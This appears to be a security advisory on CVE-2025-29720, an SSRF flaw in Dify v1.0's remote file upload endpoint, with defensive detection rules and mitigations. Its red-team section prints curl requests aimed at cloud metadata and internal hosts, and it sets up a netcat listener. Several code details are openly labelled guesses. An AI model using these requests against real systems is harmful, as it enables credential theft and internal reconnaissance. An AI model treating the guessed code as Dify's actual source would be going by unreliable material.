CVE-2025-29720

Executive Summary

CVE-2025-29720 is a Server-Side Request Forgery (SSRF) vulnerability discovered in Dify v1.0, specifically within the controllers.console.remote_files.RemoteFileUploadApi component. This flaw allows an unauthenticated attacker to induce the server to make arbitrary HTTP requests to internal or external resources, potentially leading to data exfiltration, internal network scanning, or further exploitation. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the SSRF nature poses significant risk in cloud and containerized environments. No public exploit code or patch details are currently available.

Supply Chain & Package Security

Dify is an open-source LLM application development platform. The vulnerability resides in the Python-based backend (likely Flask or FastAPI). As a Python project, the supply chain risk includes dependency hijacking or malicious packages that could exploit this SSRF to reach internal services. Users should verify the integrity of their Dify installation and monitor for any suspicious outbound requests from the application.

CVSS Breakdown & Threat Level

While the official CVSS vector is unknown, a typical SSRF vulnerability in a web application would score as follows:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U) or Changed (C) depending on impact
• Confidentiality (C): High (H) – potential access to internal services
• Integrity (I): Low (L) – limited ability to modify data
• Availability (A): Low (L) – potential DoS via resource exhaustion

Estimated CVSS Score: 7.5 (High) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Threat Level: High – SSRF can lead to cloud metadata exposure, internal network reconnaissance, and lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the RemoteFileUploadApi controller, which handles file uploads from remote URLs. The application likely accepts a URL parameter and fetches the file without proper validation or sanitization. An attacker can supply a malicious URL pointing to internal resources (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata, http://localhost:9200 for Elasticsearch, or file:///etc/passwd for local file read).

Root Cause: Lack of URL validation and restriction on the scheme, host, or port. The application does not block private IP ranges, loopback addresses, or dangerous schemes like file://.

Attack Flow:

1. Attacker sends a POST request to /console/api/remote-files/upload with a JSON body containing {"url": "http://169.254.169.254/latest/meta-data/"}.
2. The server fetches the URL and returns the response content.
3. Attacker exfiltrates cloud metadata (e.g., AWS credentials, instance ID).

Vulnerable vs. Patched Code

Vulnerable Code (v1.0):

# controllers/console/remote_files.py
class RemoteFileUploadApi:
    def post(self):
        url = request.json.get('url')
        response = requests.get(url)  # No validation
        return response.content

Patched Code (Hypothetical):

# controllers/console/remote_files.py
import re
from urllib.parse import urlparse

ALLOWED_SCHEMES = {'http', 'https'}
BLOCKED_HOSTS = {'127.0.0.1', 'localhost', '0.0.0.0', '169.254.169.254'}

class RemoteFileUploadApi:
    def post(self):
        url = request.json.get('url')
        parsed = urlparse(url)
        if parsed.scheme not in ALLOWED_SCHEMES:
            return {"error": "Invalid scheme"}, 400
        if parsed.hostname in BLOCKED_HOSTS:
            return {"error": "Host not allowed"}, 400
        # Additional IP range validation
        response = requests.get(url, timeout=5)
        return response.content

Exploitation & Lab Setup

Red Team

Lab Setup:

• Deploy Dify v1.0 in a Docker container.
• Set up a local listener (e.g., nc -lvnp 4444) to capture outbound requests.
• Use a cloud metadata endpoint (e.g., AWS EC2) for testing.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /console/api/remote-files/upload
2. Craft a malicious request:

curl -X POST http://target:5000/console/api/remote-files/upload \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

3. Observe the response containing cloud metadata.
4. For internal network scanning, use:

curl -X POST http://target:5000/console/api/remote-files/upload \
  -H "Content-Type: application/json" \
  -d '{"url": "http://192.168.1.1:8080/admin"}'

Blue Team

Detection:

• Monitor outbound HTTP requests from the Dify server to private IP ranges.
• Alert on requests to 169.254.169.254, 127.0.0.1, or localhost.
• Log all POST requests to /console/api/remote-files/upload with full URL parameters.

Mitigation:

• Apply input validation as shown in the patched code.
• Use a web application firewall (WAF) to block requests containing private IPs.
• Restrict outbound network access from the Dify container using egress rules.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to 169.254.169.254 (AWS metadata)
  • Requests to 127.0.0.1, localhost, or 0.0.0.0
  • Requests to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• Logs:
  • POST /console/api/remote-files/upload with suspicious url parameter
  • Error logs showing connection timeouts to internal hosts
• Files:
  • Unexpected files in /tmp/ or upload directories containing internal data

Detection Engineering

YARA Rule

rule detect_dify_ssrf_payload {
    meta:
        description = "Detects SSRF payloads targeting Dify RemoteFileUploadApi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29720"
    strings:
        $url_pattern = /(http|https):\/\/(127\.0\.0\.1|localhost|169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
        $json_key = "url"
    condition:
        $json_key and $url_pattern
}

Sigma Rule

title: Dify SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against Dify RemoteFileUploadApi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/console/api/remote-files/upload'
        cs-uri-query|contains: 
            - '169.254.169.254'
            - '127.0.0.1'
            - 'localhost'
            - '10.'
            - '172.'
            - '192.168.'
    condition: selection
falsepositives:
    - Legitimate use of internal services (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29720 Dify SSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/console/api/remote-files/upload"; http_uri; content:"url"; http_client_body; pcre:"/(169\.254\.169\.254|127\.0\.0\.1|localhost|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Dify server from internal networks if possible.
2. Implement a WAF rule to block requests containing private IPs in the url parameter.
3. Monitor logs for SSRF patterns.

Long-term Fix:

• Apply input validation as shown in the patched code.
• Use a URL allowlist for remote file uploads.
• Upgrade to a patched version once available.

Workaround:

• Disable the remote file upload feature if not needed.
• Use a reverse proxy to filter outbound requests.

Valters IT